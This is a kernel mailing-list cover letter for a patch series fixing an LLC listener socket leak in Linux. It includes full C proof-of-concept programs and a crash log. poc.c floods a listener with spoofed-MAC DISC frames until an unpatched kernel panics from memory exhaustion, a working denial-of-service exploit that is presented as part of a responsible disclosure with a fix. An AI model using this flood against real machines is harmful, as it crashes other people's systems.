* [PATCH net v13 0/2] llc: fix listener child socket leaks
@ 2026-09-30 13:29 Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
0 siblings, 2 replies; 5+ messages in thread
From: Zihan Xi @ 2026-09-30 13:29 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni
Cc: zihanx, horms, kees, ernestas.k, leitao, tim.bird,
shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel
Hi Linux kernel maintainers,
We found and validated an issue in net/llc/llc_conn.c and net/llc/af_llc.c.
A DISC command addressed to a matching AF_LLC listener in init_net can
trigger the leak. The attached poc.c opens its AF_LLC listener and
AF_PACKET sender in init_net; the shown commands create both veth
endpoints there. AF_LLC sockets are restricted to init_net. This is a
privileged test: veth setup needs CAP_NET_ADMIN, both sockets need
CAP_NET_RAW, and setting panic_on_oom needs privilege.
After creating a user/network namespace (e.g., with `unshare -Urn`), a
veth-based local sender requires an existing init_net listener and a
host-configured pair. The host keeps the listener-side endpoint in init_net
and moves the peer into the sender namespace (e.g., `ip link set dev <peer>
netns <pid>`). The sender needs CAP_NET_RAW in the user namespace that owns
its network namespace, but no CAP_NET_ADMIN to transmit on a preconfigured
interface. The attached PoC cannot exercise this split: it opens AF_LLC and
AF_PACKET in the same namespace. This split path was not tested
and is not claimed as a validated reproduction.
The series targets LLC listener passive-open and unaccepted-child lifecycle
handling. The normal established-connection data path is unchanged.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
The listener receive path used to allocate and publish a child socket
before checking whether the frame was a passive-open request. Frames that
cannot establish a connection, such as DISC, could therefore leave a child
hashed in the SAP without an accept indication. Repeating those frames with
different source tuples accumulated child sockets and their references.
This series limits listener child creation to SABME, keeps the child and
its resources alive until accept or teardown, and releases the queued
indication when an unaccepted child leaves a data-accepting state. Deferred
listener SABMEs keep their receive device alive until backlog processing.
Stale out-of-service lookup results are rejected before LLC state-machine
dispatch.
The normal established-connection data path is unchanged. Duplicate SABMEs
are still delivered to the matching child.
The resource-leak behavior is present in the unfixed Linux v6.12.74
baseline. The crash log below is from that baseline with panic_on_oom=2; it
records the resulting OOM panic, not a crash from this patch. The
patched v13 kernel was built and all attached checks were run; it reported
no BUG, KASAN, Oops, kernel panic, or OOM.
Reproducer:
gcc -O2 -static -o poc poc.c
ip link add llc_rx0 type veth peer name llc_tx0
ip link set llc_rx0 address 02:11:22:33:44:55
ip link set llc_tx0 address 02:11:22:33:44:66
ip link set llc_rx0 up
ip link set llc_tx0 up
For an unfixed Linux v6.12.74 guest:
echo 2 > /proc/sys/vm/panic_on_oom
./poc llc_rx0 llc_tx0 110000
For patched v13, after the same veth setup, build and run:
gcc -O2 -static -o poc-sabme poc-sabme.c
gcc -O2 -static -o poc-backlog poc-backlog.c
gcc -O2 -static -o poc-queued-disc poc-queued-disc.c
./poc-sabme accept llc_rx0 llc_tx0 1
echo "SABME_ACCEPT_RC=$?"
./poc-sabme close llc_rx0 llc_tx0 16
echo "SABME_CLOSE_RC=$?"
./poc-backlog llc_rx0 llc_tx0 1 10
echo "BACKLOG_RC=$?"
./poc-queued-disc llc_rx0 llc_tx0
echo "QUEUED_DISC_RC=$?"
./poc llc_rx0 llc_tx0 110000
echo "DISC_FLOOD_RC=$?"
The baseline flood is run in a fresh, unfixed Linux v6.12.74 guest. The
patched-kernel run reported:
SABME_ACCEPT_RC=0
sabme_close_before=0 sabme_close_open=17 sabme_close_after=0
SABME_CLOSE_RC=0
listen_backlog=1 sabme_sent=10 llc_sockets_open=3 expected_max=3
llc_sockets_after_close=0
BACKLOG_RC=0
queued_disc_open=2 accept_errno=0 queued_disc_after_close=0
QUEUED_DISC_RC=0
DISC_FLOOD_RC=0
Packetdrill was not used for frame injection. Its built-in packet-event
syntax models TCP, UDP, and ICMP packets over IP; it has no event form for
arbitrary 802.3/802.2 LLC frames. This PoC sets the Ethernet length field,
source/destination MACs and LLC DSAP, SSAP, and control bytes.
It then sends the frame through AF_PACKET. Packetdrill may use AF_PACKET
internally for Linux packet plumbing, but its scripting syntax has no LLC
frame form.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment running Ubuntu
24.04.4 LTS.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [rx_if] [tx_if] [count]\n"
" rx_if: LLC listener interface (default: %s)\n"
" tx_if: raw packet sender interface (default: %s)\n"
" count: number of DISC frames to send, 0 means forever\n",
prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd;
fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int fd;
int one = 1;
int ifindex = get_ifindex(ifname);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
int main(int argc, char **argv)
{
static unsigned char frame[ETH_ZLEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_ll sll;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 0;
uint64_t i = 1;
int listener_fd;
int packet_fd;
int ifindex;
if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
usage(argv[0]);
return 0;
}
if (argc > 1)
rx_if = argv[1];
if (argc > 2)
tx_if = argv[2];
if (argc > 3) {
char *end = NULL;
errno = 0;
count = strtoull(argv[3], &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid count: %s\n", argv[3]);
return EXIT_FAILURE;
}
}
if (argc > 4) {
usage(argv[0]);
return EXIT_FAILURE;
}
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
fprintf(stderr,
"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
fprintf(stderr,
"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
dst_mac[0], dst_mac[1], dst_mac[2],
dst_mac[3], dst_mac[4], dst_mac[5]);
fprintf(stderr,
"sending LLC DISC commands with a unique spoofed source MAC each time\n");
while (!count || i <= count) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
if (!(i % DEFAULT_REPORT_EVERY))
fprintf(stderr, "sent=%llu\n",
(unsigned long long)i);
i++;
}
close(packet_fd);
close(listener_fd);
return 0;
}
------END poc.c--------
------BEGIN poc-sabme.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int llc_socket_count(void)
{
FILE *fp = fopen("/proc/net/llc/socket", "r");
char line[256];
int count = 0;
if (!fp)
return -1;
if (!fgets(line, sizeof(line), fp)) {
fclose(fp);
return -1;
}
while (fgets(line, sizeof(line), fp))
count++;
fclose(fp);
return count;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int one = 1;
int ifindex = get_ifindex(ifname);
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
static void send_sabme(int packet_fd, int ifindex, const unsigned char dst[ETH_ALEN],
const unsigned char src[ETH_ALEN])
{
static unsigned char frame[ETH_ZLEN];
struct sockaddr_ll sll;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst, ETH_ALEN);
memcpy(frame + ETH_ALEN, src, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = SABME_CMD;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s accept|close [rx_if] [tx_if] [count]\n", prog);
}
int main(int argc, char **argv)
{
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
const char *mode;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 1;
uint64_t i;
int listener_fd;
int packet_fd;
int ifindex;
int baseline_count;
int before_close;
int after_close;
if (argc < 2) {
usage(argv[0]);
return EXIT_FAILURE;
}
mode = argv[1];
if (argc > 2)
rx_if = argv[2];
if (argc > 3)
tx_if = argv[3];
if (argc > 4) {
char *end = NULL;
errno = 0;
count = strtoull(argv[4], &end, 0);
if (errno || !end || *end != '\0' || !count) {
fprintf(stderr, "invalid count: %s\n", argv[4]);
return EXIT_FAILURE;
}
}
baseline_count = llc_socket_count();
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
fprintf(stderr, "mode=%s listener_if=%s sender_if=%s count=%llu\n",
mode, rx_if, tx_if, (unsigned long long)count);
if (!strcmp(mode, "accept")) {
int child;
struct sockaddr_llc addr;
socklen_t addrlen = sizeof(addr);
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
fill_src_mac(src_mac, 1);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
send_sabme(packet_fd, ifindex, dst_mac, src_mac);
setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
if (child < 0)
die_errno("accept(AF_LLC)");
printf("SABME passive open accepted\naccept_rc=0\n");
close(child);
close(packet_fd);
close(listener_fd);
return 0;
}
if (!strcmp(mode, "close")) {
for (i = 1; i <= count; i++) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
send_sabme(packet_fd, ifindex, dst_mac, src_mac);
}
before_close = llc_socket_count();
close(packet_fd);
close(listener_fd);
usleep(200000);
after_close = llc_socket_count();
printf("SABME sent without accept and listener closed\n"
"sabme_close_before=%d sabme_close_open=%d "
"sabme_close_after=%d\n",
baseline_count, before_close, after_close);
if (baseline_count < 0 || after_close != baseline_count) {
fprintf(stderr, "FAIL: leftover sockets after close: %d\n",
after_close);
return EXIT_FAILURE;
}
printf("SABME_CLOSE_RC=0\n");
return 0;
}
usage(argv[0]);
return EXIT_FAILURE;
}
------END poc-sabme.c--------
------BEGIN poc-backlog.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int llc_socket_count(void)
{
FILE *fp = fopen("/proc/net/llc/socket", "r");
char line[256];
int count = 0;
if (!fp)
return -1;
if (!fgets(line, sizeof(line), fp)) {
fclose(fp);
return -1;
}
while (fgets(line, sizeof(line), fp))
count++;
fclose(fp);
return count;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
int main(int argc, char **argv)
{
const char *rx_if = argc > 1 ? argv[1] : "llc_rx0";
const char *tx_if = argc > 2 ? argv[2] : "llc_tx0";
int backlog = argc > 3 ? atoi(argv[3]) : 1;
int nframes = argc > 4 ? atoi(argv[4]) : 10;
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_llc addr;
struct sockaddr_ll sll;
static unsigned char frame[ETH_ZLEN];
int listener_fd, packet_fd, ifindex, one = 1, i, after_send, after_close;
int expected_max;
listener_fd = socket(AF_LLC, SOCK_STREAM, 0);
if (listener_fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(rx_if, dst_mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = DEFAULT_SAP;
memcpy(addr.sllc_mac, dst_mac, ETH_ALEN);
if (bind(listener_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(listener_fd, backlog) < 0)
die_errno("listen(AF_LLC)");
ifindex = get_ifindex(tx_if);
packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (packet_fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(packet_fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(packet_fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
for (i = 1; i <= nframes; i++) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = SABME_CMD;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
usleep(200000);
after_send = llc_socket_count();
/* TCP-style: sk_acceptq_is_full() is >, so listen(N) can hold N+1. */
expected_max = 1 + backlog + 1;
printf("listen_backlog=%d sabme_sent=%d llc_sockets_open=%d expected_max=%d\n",
backlog, nframes, after_send, expected_max);
if (after_send < 1 || after_send > expected_max) {
fprintf(stderr, "FAIL: open socket count %d not in 1..%d\n",
after_send, expected_max);
return EXIT_FAILURE;
}
close(packet_fd);
close(listener_fd);
usleep(200000);
after_close = llc_socket_count();
printf("llc_sockets_after_close=%d\n", after_close);
if (after_close != 0) {
fprintf(stderr, "FAIL: leftover sockets after close: %d\n",
after_close);
return EXIT_FAILURE;
}
printf("backlog_rc=0\n");
return 0;
}
------END poc-backlog.c--------
------BEGIN poc-queued-disc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f
#define DISC_CMD 0x43
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = DEFAULT_SAP;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 1) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int one = 1;
int ifindex = get_ifindex(ifname);
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], unsigned char id)
{
mac[0] = 0x02;
mac[1] = 0xaa;
mac[2] = 0xbb;
mac[3] = 0xcc;
mac[4] = 0xdd;
mac[5] = id;
}
static void send_frame(int packet_fd, int ifindex,
const unsigned char dst[ETH_ALEN],
const unsigned char src[ETH_ALEN],
unsigned char ctrl_1, unsigned char ctrl_2)
{
unsigned char frame[ETH_ZLEN];
struct sockaddr_ll sll;
memset(frame, 0, sizeof(frame));
memcpy(frame, dst, ETH_ALEN);
memcpy(frame + ETH_ALEN, src, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = ctrl_1;
frame[ETH_HLEN + 3] = ctrl_2;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
}
static int llc_socket_count(void)
{
FILE *fp = fopen("/proc/net/llc/socket", "r");
char line[256];
int count = 0;
if (!fp)
return -1;
if (!fgets(line, sizeof(line), fp)) {
fclose(fp);
return -1;
}
while (fgets(line, sizeof(line), fp))
count++;
fclose(fp);
return count;
}
int main(int argc, char **argv)
{
const char *rx_if = argc > 1 ? argv[1] : DEFAULT_RX_IF;
const char *tx_if = argc > 2 ? argv[2] : DEFAULT_TX_IF;
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
unsigned char next_src_mac[ETH_ALEN];
struct sockaddr_llc addr;
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
int listener_fd, packet_fd, ifindex, child;
int accept_errno, open_count, after_close;
socklen_t addrlen = sizeof(addr);
listener_fd = make_listener(rx_if, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
fill_src_mac(src_mac, 0xee);
/* Queue an indication, then tear down the unaccepted child remotely. */
send_frame(packet_fd, ifindex, dst_mac, src_mac, SABME_CMD, 0);
usleep(100000);
send_frame(packet_fd, ifindex, dst_mac, src_mac, DISC_CMD, 0);
usleep(100000);
/* This used to drive the queued child from ADM to OUT_OF_SVC. */
send_frame(packet_fd, ifindex, dst_mac, src_mac, 0x00, 0x00);
usleep(200000);
/* A different source must be able to create the next child. */
fill_src_mac(next_src_mac, 0xef);
send_frame(packet_fd, ifindex, dst_mac, next_src_mac, SABME_CMD, 0);
usleep(200000);
open_count = llc_socket_count();
setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
accept_errno = child < 0 ? errno : 0;
if (child >= 0)
close(child);
close(packet_fd);
close(listener_fd);
usleep(200000);
after_close = llc_socket_count();
printf("queued_disc_open=%d accept_errno=%d queued_disc_after_close=%d\n",
open_count, accept_errno, after_close);
if (open_count != 2 || child < 0 || after_close != 0)
return EXIT_FAILURE;
return 0;
}
------END poc-queued-disc.c--------
----BEGIN crash log----
Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3
[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1665.706676][T10284] Call Trace:
[ 1665.706943][T10284] <TASK>
[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:118 (discriminator 3))
[1665.707568][T10284] panic (kernel/panic.c:611)
